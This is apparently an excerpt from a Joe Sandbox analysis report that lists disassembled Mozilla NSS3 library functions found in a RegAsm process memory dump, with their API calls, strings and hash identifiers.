sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C40BE66), ref: 6C546FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C40BE66), ref: 6C546FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C40BE66), ref: 6C547014
sqlite3_free.NSS3(00000000,?,?,?,?,6C40BE66), ref: 6C54701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C40BE66), ref: 6C547030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C40BE66), ref: 6C54705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C40BE66), ref: 6C547079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C40BE66), ref: 6C547097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C40BE66), ref: 6C5470A0

Strings

PXl, xrefs: 6C5470A8
winGetTempname1, xrefs: 6C54708F
winGetTempname4, xrefs: 6C547046
winGetTempname2, xrefs: 6C5470C4
mz_etilqs_, xrefs: 6C546F18
winGetTempname5, xrefs: 6C547071

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: PXl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-1839926694
Opcode ID: bf5f1bfb6da3c2e80b5a60b0ed525ab40d75b67ac1899ec27505fc0c67adb518
Instruction ID: 1f6d9dd8d4a14d9bd13f1e76fdae3e36860dc56447b1169382f773de1766e511
Opcode Fuzzy Hash: bf5f1bfb6da3c2e80b5a60b0ed525ab40d75b67ac1899ec27505fc0c67adb518
Instruction Fuzzy Hash: 83518BB1A013116BE7109B309C51FBF36668F92358F148938E81596BC2FF25A91EC6D3

Function 6C4A8E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C4A8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4A8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A8EB3

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4A8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C4A8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C4A8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A8F29
PR_LogPrint.NSS3(?,00000000), ref: 6C4A8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C4A8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A8F80
PR_LogPrint.NSS3(?,00000000), ref: 6C4A8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C4A8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C4A8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C4A9047

Strings

pMechanism = 0x%p, xrefs: 6C4A8EE0
(CK_INVALID_HANDLE), xrefs: 6C4A8EAC, 6C4A8F1F, 6C4A8F79
C_WrapKey, xrefs: 6C4A8E71
hWrappingKey = 0x%x, xrefs: 6C4A8F01, 6C4A8F11
nXl, xrefs: 6C4A8FEC, 6C4A9023
*pulWrappedKeyLen = 0x%x, xrefs: 6C4A9042
hKey = 0x%x, xrefs: 6C4A8F5B, 6C4A8F6B
pulWrappedKeyLen = 0x%p, xrefs: 6C4A8FC8
pWrappedKey = 0x%p, xrefs: 6C4A8FAD
hSession = 0x%x, xrefs: 6C4A8E8E, 6C4A8E9E

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nXl
API String ID: 1003633598-2690660213
Opcode ID: f7a0d7c0a9ae5784a3b0ea7c872880fa2328317be2913b1f10d98c245c8966d5
Instruction ID: 39d2c83857f64d4f77108d1f8f9850d19fc97b4c0e2d3d416656b7ca52fed662
Opcode Fuzzy Hash: f7a0d7c0a9ae5784a3b0ea7c872880fa2328317be2913b1f10d98c245c8966d5
Instruction Fuzzy Hash: 9351D831502255EFDB00DF90DD48F9B77B2EB9630DF058056F9086BA12D731AD0ACB9A

Function 6C4D4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C4C4F51,00000000), ref: 6C4D4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C4C4F51,00000000), ref: 6C4D4C5B
PR_smprintf.NSS3(6C5AAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C4C4F51,00000000), ref: 6C4D4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C4C4F51,00000000), ref: 6C4D4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4D4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4D4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4D4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C4C4F51,00000000), ref: 6C4D4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C4C4F51,00000000), ref: 6C4D4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C4D4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C4D4DA2
free.MOZGLUE(?), ref: 6C4D4DB9
free.MOZGLUE(00000000), ref: 6C4D4DCF

Strings

slotFlags, xrefs: 6C4D4D34
rootFlags, xrefs: 6C4D4D47
rust, xrefs: 6C4D4D22
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C4D4D9D
timeout, xrefs: 6C4D4C91
%s,%s, xrefs: 6C4D4C4B
0x%08lx=[%s %s], xrefs: 6C4D4D80
any, xrefs: 6C4D4C96
ootT, xrefs: 6C4D4D1A
every, xrefs: 6C4D4CA1

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: da30a6a26ccb9d27b53399287da330101b6e1e1bc8105615efcd7ce6a8192dee
Instruction ID: d324d214552aceac84dbdb1468c0d23625c44a9b3373f380bc4fca2c22177879
Opcode Fuzzy Hash: da30a6a26ccb9d27b53399287da330101b6e1e1bc8105615efcd7ce6a8192dee
Instruction Fuzzy Hash: 72418CB1900145ABEB12EF55AC54EBF3675AF82398F1B4128E8164BB01E731F925C7D3

Function 6C4B6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4B6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C4B6943
Part of subcall function 6C4B6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C4B6957
Part of subcall function 6C4B6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C4B6972
Part of subcall function 6C4B6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C4B6983
Part of subcall function 6C4B6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C4B69AA
Part of subcall function 6C4B6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C4B69BE
Part of subcall function 6C4B6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C4B69D2
Part of subcall function 6C4B6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C4B69DF
Part of subcall function 6C4B6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C4B6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C4B6D8C
free.MOZGLUE(00000000), ref: 6C4B6DC5
free.MOZGLUE(?), ref: 6C4B6DD6
free.MOZGLUE(?), ref: 6C4B6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C4B6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C4B6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C4B6E72
free.MOZGLUE(?), ref: 6C4B6EA7
free.MOZGLUE(?), ref: 6C4B6EC4
free.MOZGLUE(?), ref: 6C4B6ED5
free.MOZGLUE(00000000), ref: 6C4B6EE3
free.MOZGLUE(?), ref: 6C4B6EF4
free.MOZGLUE(?), ref: 6C4B6F08
free.MOZGLUE(00000000), ref: 6C4B6F35
free.MOZGLUE(?), ref: 6C4B6F44
free.MOZGLUE(?), ref: 6C4B6F5B
free.MOZGLUE(00000000), ref: 6C4B6F65

Part of subcall function 6C4B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C4B781D,00000000,6C4ABE2C,?,6C4B6B1D,?,?,?,?,00000000,00000000,6C4B781D), ref: 6C4B6C40
Part of subcall function 6C4B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C4B781D,?,6C4ABE2C,?), ref: 6C4B6C58
Part of subcall function 6C4B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C4B781D), ref: 6C4B6C6F
Part of subcall function 6C4B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C4B6C84
Part of subcall function 6C4B6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C4B6C96
Part of subcall function 6C4B6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C4B6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C4B6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C4B6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C4B6FF4

Strings

+`Ll, xrefs: 6C4B6D0D

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`Ll
API String ID: 1304971872-107483513
Opcode ID: f514ba6a3d124c41400df7bde6c6de4c4d82e7f3e2bd49f5c006ef931e9f0b96
Instruction ID: 24e38675088e43109674bdb20c4d98268a4432938f8196fa35a8d0f60f78433e
Opcode Fuzzy Hash: f514ba6a3d124c41400df7bde6c6de4c4d82e7f3e2bd49f5c006ef931e9f0b96
Instruction Fuzzy Hash: 45B129B1E012199BEF04DBA9DC85FDEBBB8AF0524AF140029E815F7741E731A915CBB1

Function 6C4D0550 Relevance: 35.2, APIs: 13, Strings: 7, Instructions: 182stringCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_ALLOW_WEAK_SIGNATURE_ALG,00000002,00000000,?,6C4B5989), ref: 6C4D0571

Part of subcall function 6C461240: TlsGetValue.KERNEL32(00000040,?,6C46116C,NSPR_LOG_MODULES), ref: 6C461267
Part of subcall function 6C461240: EnterCriticalSection.KERNEL32(?,?,?,6C46116C,NSPR_LOG_MODULES), ref: 6C46127C
Part of subcall function 6C461240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C46116C,NSPR_LOG_MODULES), ref: 6C461291
Part of subcall function 6C461240: PR_Unlock.NSS3(?,?,?,?,6C46116C,NSPR_LOG_MODULES), ref: 6C4612A0

PR_GetEnvSecure.NSS3(NSS_HASH_ALG_SUPPORT,?,00000002,00000000,?,6C4B5989), ref: 6C4D05B7
PORT_Strdup_Util.NSS3(00000000,?,?,00000002,00000000,?,6C4B5989), ref: 6C4D05C8
strchr.VCRUNTIME140(00000000,0000003B,?,?,?,00000002,00000000,?,6C4B5989), ref: 6C4D05EC
strstr.VCRUNTIME140(00000001,?), ref: 6C4D0653
free.MOZGLUE(?,?,?,?,00000002,00000000,?,6C4B5989), ref: 6C4D0681
PORT_NewArena_Util.NSS3(00000800,?,?,?,?,00000002,00000000,?,6C4B5989), ref: 6C4D06AB
PL_NewHashTable.NSS3(00000000,6C4CFE80,?,6C51C350,00000000,00000000,?,?,?,?,?,00000002,00000000,?,6C4B5989), ref: 6C4D06D5
PL_NewHashTable.NSS3(00000000,?,6C51C350,6C51C350,00000000,00000000), ref: 6C4D06EC
PL_HashTableAdd.NSS3(?,6C59E618,6C59E618), ref: 6C4D070F

Part of subcall function 6C3F2DF0: PL_HashTableRawAdd.NSS3(?,?,?,?,?), ref: 6C3F2E35

PL_HashTableAdd.NSS3(FFFFFFFF,6C59E618), ref: 6C4D0738
PL_HashTableAdd.NSS3(6C59E634,6C59E634), ref: 6C4D0752
PR_SetError.NSS3(FFFFE001,00000000,?,?,?,?,00000002,00000000,?,6C4B5989), ref: 6C4D0767

Strings

V, xrefs: 6C4D0559
4Yl, xrefs: 6C4D071B
flags, xrefs: 6C4D0555
NSS_ALLOW_WEAK_SIGNATURE_ALG, xrefs: 6C4D056C
NSS_HASH_ALG_SUPPORT, xrefs: 6C4D05B2
$]l, xrefs: 6C4D0645
dynamic OID data, xrefs: 6C4D068A

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: HashTable$SecureUtil$Arena_CriticalEnterErrorSectionStrdup_UnlockValuefreegetenvstrchrstrstr
String ID: 4Yl$NSS_ALLOW_WEAK_SIGNATURE_ALG$NSS_HASH_ALG_SUPPORT$V$dynamic OID data$flags$$]l
API String ID: 514890423-381411235
Opcode ID: 0c93816c717fa35860f12dd61bb5dd46896975d1f3579797eb66376d877e8d0e
Instruction ID: b8104ceffd73d15fe5392f3e7a9e3b972bcd8469219f8a979f5cd57fbdb035a3
Opcode Fuzzy Hash: 0c93816c717fa35860f12dd61bb5dd46896975d1f3579797eb66376d877e8d0e
Instruction Fuzzy Hash: C251D9B1E012815BFB10EB359C18F5B3AB4DB82359F5A0525E818D7B41F731F905CBA9

Function 6C4B2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C4B2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C4B2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C4B2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C4B2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C484F1C,?,-00000001,00000000,?), ref: 6C4B2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C484F1C,?,-00000001,00000000), ref: 6C4B2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C4B2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C4B2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C4B2EF8
PR_Unlock.NSS3(?), ref: 6C4B2F62
TlsGetValue.KERNEL32 ref: 6C4B2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C4B2F9E
PR_Unlock.NSS3(?), ref: 6C4B2FCA
TlsGetValue.KERNEL32 ref: 6C4B301A
EnterCriticalSection.KERNEL32(?), ref: 6C4B302E
PR_Unlock.NSS3(?), ref: 6C4B3066
PR_SetError.NSS3(00000000,00000000), ref: 6C4B3085
PR_Unlock.NSS3(?), ref: 6C4B30EC
TlsGetValue.KERNEL32 ref: 6C4B310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C4B3124
PR_Unlock.NSS3(?), ref: 6C4B314C

Part of subcall function 6C499180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C4C379E,?,6C499568,00000000,?,6C4C379E,?,00000001,?), ref: 6C49918D
Part of subcall function 6C499180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C4C379E,?,6C499568,00000000,?,6C4C379E,?,00000001,?), ref: 6C4991A0

Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607AD
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607CD
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607D6
Part of subcall function 6C4607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C3F204A), ref: 6C4607E4
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,6C3F204A), ref: 6C460864
Part of subcall function 6C4607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C460880
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,6C3F204A), ref: 6C4608CB
Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(?,?,6C3F204A), ref: 6C4608D7
Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(?,?,6C3F204A), ref: 6C4608FB

PR_SetError.NSS3(00000000,00000000), ref: 6C4B316D

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 5474398e97d62492a9fec835fa086781d88a27c2eaa2c80afe9bc6f1c38a431c
Instruction ID: d64a09e59ee7621d3cac2b732c3709dcc1b3eddb7e37276ce909ca4f765f170a
Opcode Fuzzy Hash: 5474398e97d62492a9fec835fa086781d88a27c2eaa2c80afe9bc6f1c38a431c
Instruction Fuzzy Hash: 0EF19DB5D006189FEF00DF65DC88F9ABBB4BF09318F054168EC05AB711EB31A995CB91

Function 6C4B25D0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,?,-00000001,?,?,?,6C48662E,?,?), ref: 6C4B264E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C48662E,?,?), ref: 6C4B2670
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C48662E,?), ref: 6C4B2684
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C4B26C2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6C4B26E0
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C4B26F4
PR_Unlock.NSS3(?), ref: 6C4B274D
PR_SetError.NSS3(00000000,00000000), ref: 6C4B28A9

Part of subcall function 6C4C3440: PK11_GetAllTokens.NSS3 ref: 6C4C3481
Part of subcall function 6C4C3440: PR_SetError.NSS3(00000000,00000000), ref: 6C4C34A3
Part of subcall function 6C4C3440: TlsGetValue.KERNEL32 ref: 6C4C352E
Part of subcall function 6C4C3440: EnterCriticalSection.KERNEL32(?), ref: 6C4C3542
Part of subcall function 6C4C3440: PR_Unlock.NSS3(?), ref: 6C4C355B

PR_Unlock.NSS3(?), ref: 6C4B27A1
PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,?,-00000001,?,?,?,6C48662E,?,?,?), ref: 6C4B27B5
PR_Unlock.NSS3(?), ref: 6C4B27CE
TlsGetValue.KERNEL32 ref: 6C4B27E8
EnterCriticalSection.KERNEL32(0000001C), ref: 6C4B2800

Part of subcall function 6C4BF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C4BF854
Part of subcall function 6C4BF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C4BF868
Part of subcall function 6C4BF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C4BF882
Part of subcall function 6C4BF820: free.MOZGLUE(04C483FF,?,?), ref: 6C4BF889
Part of subcall function 6C4BF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C4BF8A4
Part of subcall function 6C4BF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C4BF8AB
Part of subcall function 6C4BF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C4BF8C9
Part of subcall function 6C4BF820: free.MOZGLUE(280F10EC,?,?), ref: 6C4BF8D0

PR_Unlock.NSS3(?), ref: 6C4B2834
TlsGetValue.KERNEL32 ref: 6C4B284E
EnterCriticalSection.KERNEL32(0000001C), ref: 6C4B2866

Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607AD
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607CD
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607D6
Part of subcall function 6C4607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C3F204A), ref: 6C4607E4
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,6C3F204A), ref: 6C460864
Part of subcall function 6C4607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C460880
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,6C3F204A), ref: 6C4608CB
Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(?,?,6C3F204A), ref: 6C4608D7
Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(?,?,6C3F204A), ref: 6C4608FB

Strings

.fHl, xrefs: 6C4B261B, 6C4B269B, 6C4B26CA, 6C4B2780, 6C4B2890, 6C4B2635, 6C4B269E, 6C4B2738, 6C4B2783
.fHl, xrefs: 6C4B2618, 6C4B2632

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSection$Unlock$Enterfree$DeleteError$K11_calloc$ImportPublicTokens
String ID: .fHl$.fHl
API String ID: 544520609-4131266233
Opcode ID: 0d698bf655f28ae5b1b32c09092066dcdf7b720849a3b58331677c7dfe01d959
Instruction ID: 6462c5f359cd827b286446512151dd6f41f2facbb8c2e10521a07fa1e31e0836
Opcode Fuzzy Hash: 0d698bf655f28ae5b1b32c09092066dcdf7b720849a3b58331677c7dfe01d959
Instruction Fuzzy Hash: 6AB1C0B4D00605DFEB10DF68DC88EAAB7B4FF09309F504529E815A7B01EB31E945CBA5

Function 6C4A6D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C4A6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4A6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A6DC3

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4A6DD9
